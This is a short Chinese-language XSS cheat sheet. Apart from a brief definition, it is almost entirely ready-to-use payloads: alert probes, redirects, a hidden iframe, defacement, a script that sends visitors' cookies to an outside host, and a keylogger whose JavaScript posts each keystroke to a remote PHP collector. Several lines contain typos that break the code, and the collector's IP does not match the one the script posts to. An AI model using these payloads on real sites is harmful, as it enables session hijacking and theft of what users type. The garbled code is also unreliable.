XSS
xss(跨站脚本攻击),是最常见的web应用安全漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript.
漏洞PoC
检测漏洞
.<script>alert ( 'xss')</script>
显示窗口显示xxs
. <a href=" onclick=alert('xss')>type</a>
显示链接名type,点击链接显示窗口xxs
. <img src=http:/ /1.1.1.1/a.ipg onerrar=alert ('xss')>
http:/ /1.1.1.1/a.ipg执行错误后显示窗口xxs
使用漏洞
. <script>window.location='http://1.1.1.1'</script>
重定向,执行后跳转到http://1.1.1.1
也可将网址改为本地ip进行监听
. <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
非js代码,与上一条作用相同
. <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
读取当前页面的cookie值发送到=http://1.1.1.1/c.php
.<script> document.body.innerHTML="<div style=visibility:visible;>h1>THISWEBSITE IS UNDER ATTACK</h1></div>";</script>
执行后在页面显示THISWEBSITE IS UNDER ATTACK
利用js代码触发的几种方法:
<img src='./图片名.jpg' onmouseover='alert(/xss/)'>
引入一张图片(图片可不存在),然后鼠标悬停在图片上的时候,会触发XSS代码
<input type="text" onkeydown="alert(/xss/)">
点击键盘上任意一个按键的时候触发
<input type="text" onkeyup="alert(/xss/)">
输入一个字符后自动重复
<input type="button" onmouseover='alert(/xss/)'>
点击按钮触发
<img src='#' onerror='alert(/xss/)'>
发生错误时触发xss代码
伪协议:
使用javascript: 伪协议的方法构造xss
javascript:alert(/xss/);
<a href="javascript:alert(/xss/)">aaa</a>
使用xss监听
作用:可接受到被攻击方所敲击的键
注入:
<script+src="http://1.1.1.1/keylogger.js"></script>
跳转到http://1.1.1.1执行keylogger.js
代码keylogger.js:
Document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURl(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
接收方:
<?php
$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile, "a");
fwite($fp,$key);
fclose($fg);
?>
内容储存在IP为1.1.1.1下的keylog.txt文件下